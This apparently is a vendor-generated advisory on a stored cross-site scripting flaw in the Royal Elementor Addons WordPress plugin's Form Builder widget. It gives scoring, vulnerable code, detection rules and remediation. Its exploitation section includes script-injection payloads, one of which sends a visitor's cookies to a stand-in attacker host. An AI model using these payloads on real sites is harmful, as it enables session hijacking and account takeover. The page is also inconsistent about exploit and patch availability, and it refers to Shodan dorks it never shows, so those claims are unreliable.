CVE-2024-3887
Executive Summary
CVE-2024-3887 is a Stored Cross-Site Scripting (XSS) vulnerability in the Royal Elementor Addons and Templates plugin for WordPress. The flaw resides in the Form Builder widget, where user-supplied attributes are not properly sanitized or escaped. An authenticated attacker with contributor-level access or higher can inject arbitrary web scripts into pages. When a victim (including administrators) visits the compromised page, the injected script executes in their browser, potentially leading to session hijacking, credential theft, or defacement. The vulnerability affects all versions up to and including 1.3.974. No public exploit code or patch details are currently available.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed through the official WordPress plugin repository. Users should verify the integrity of their plugin files and ensure they are obtained from trusted sources. The plugin is not distributed via NPM, PyPI, Go, or Ruby ecosystems.
CVSS Breakdown & Threat Level
- CVSS Score: 5.4 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: Low (Contributor-level access)
- User Interaction: Required (Victim must visit the page)
- Scope: Changed (Impact may extend beyond the vulnerable component)
- Confidentiality Impact: Low
- Integrity Impact: Low
- Availability Impact: None
Threat Level: Medium. While the CVSS score is moderate, the potential for stored XSS in a widely-used plugin poses a significant risk to WordPress sites, especially those with multiple contributors.
Deep Dive & Mechanics
The vulnerability exists in the Form Builder widget of the Royal Elementor Addons plugin. The widget allows users to create custom forms with various input fields. The issue arises from insufficient input sanitization and output escaping on user-supplied attributes (e.g., placeholder, label, or validation messages). An attacker with contributor-level access can craft a form field containing malicious JavaScript code within an attribute. When the form is rendered on a page, the unsanitized attribute is output directly into the HTML, allowing the script to execute.
Attack Flow:
- Attacker logs in with contributor-level credentials.
- Attacker creates or edits a page using Elementor and adds the Royal Form Builder widget.
- Attacker modifies a form field attribute (e.g.,
placeholder) to include a malicious payload like"><script>alert('XSS')</script>. - The page is saved and published.
- When any user (including administrators) visits the page, the script executes in their browser.
Vulnerable vs. Patched Code
Vulnerable Code (example from version 1.3.974):
// In the Form Builder widget render method
echo '<input type="text" placeholder="' . $settings['placeholder'] . '" />';
The $settings['placeholder'] is not sanitized or escaped before output.
Patched Code (hypothetical fix):
// Properly escape the attribute
echo '<input type="text" placeholder="' . esc_attr($settings['placeholder']) . '" />';
The esc_attr() function ensures that special characters are encoded, preventing script injection.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- WordPress installation with Royal Elementor Addons <= 1.3.974
- Contributor-level account or higher
Steps:
- Log in to WordPress as a contributor.
- Create a new page or edit an existing one with Elementor.
- Add the "Royal Form Builder" widget to the page.
- In the widget settings, locate a text field attribute (e.g., "Placeholder").
- Inject the following payload into the attribute:
"><script>alert(document.cookie)</script> - Save and publish the page.
- When an administrator visits the page, the script executes, displaying their cookies.
Advanced Payload (session hijacking):
"><script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
Blue Team (Detection & Prevention)
Detection:
- Monitor for unusual form submissions or page edits by contributor-level users.
- Look for suspicious attributes in the
wp_postmetatable containing script tags. - Use Web Application Firewall (WAF) rules to block XSS payloads in form fields.
Prevention:
- Update the plugin to a patched version once available.
- Restrict contributor-level access to trusted users only.
- Implement Content Security Policy (CSP) headers to mitigate XSS impact.
- Use a security plugin that scans for malicious content in pages.
Indicators of Compromise (IOCs)
File-based IOCs:
- Modified page/post content containing
<script>tags within Elementor widget attributes. - Suspicious entries in
wp_postmetawith meta_key like_elementor_datacontaining JavaScript.
- Modified page/post content containing
Network-based IOCs:
- Outbound HTTP requests to attacker-controlled domains from the WordPress server.
- Unusual referrer headers or user-agent strings in access logs.
Log-based IOCs:
- Multiple failed login attempts from contributor accounts.
- Unusual page edit timestamps from low-privilege users.
Detection Engineering
YARA Rule
rule CVE_2024_3887_Stored_XSS {
meta:
description = "Detects stored XSS payloads in Royal Elementor Addons Form Builder"
author = "Valters IT"
date = "2024-10-27"
reference = "CVE-2024-3887"
strings:
$xss_payload = /<script[\s\S]*?>[\s\S]*?<\/script>/i
$elementor_data = "_elementor_data"
condition:
$elementor_data and #xss_payload > 0
}
Sigma Rule
title: Stored XSS in Royal Elementor Addons Form Builder
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS attempts via the Form Builder widget in Royal Elementor Addons
author: Valters IT
date: 2024-10-27
logsource:
category: webserver
product: wordpress
detection:
selection:
http.method: POST
http.url|contains: "/wp-admin/admin-ajax.php"
http.body|contains: "action=elementor_ajax"
http.body|contains: "royal-form-builder"
condition: selection
falsepositives:
- Legitimate use of JavaScript in form fields (rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-3887 Stored XSS in Royal Elementor Addons"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=elementor_ajax"; http_client_body; content:"royal-form-builder"; http_client_body; pcre:"/<script[\s\S]*?>[\s\S]*?<\/script>/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Update the plugin: Check for a patched version of Royal Elementor Addons. If available, update immediately.
- Disable the Form Builder widget: Temporarily deactivate the widget if no patch is available.
- Restrict user roles: Limit contributor-level access to only trusted users.
- Implement WAF rules: Block requests containing
<script>tags in form field attributes.
Long-term Measures:
- Enforce input validation and output escaping for all user-supplied data.
- Conduct regular security audits of WordPress plugins.
- Use a security plugin like Wordfence or Sucuri to monitor for malicious activity.
- Educate users about the risks of XSS and safe content creation practices.
Valters IT Signature
This report was generated by Valters IT Cyber Threat Intelligence. For more information, visit https://valtersit.com
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.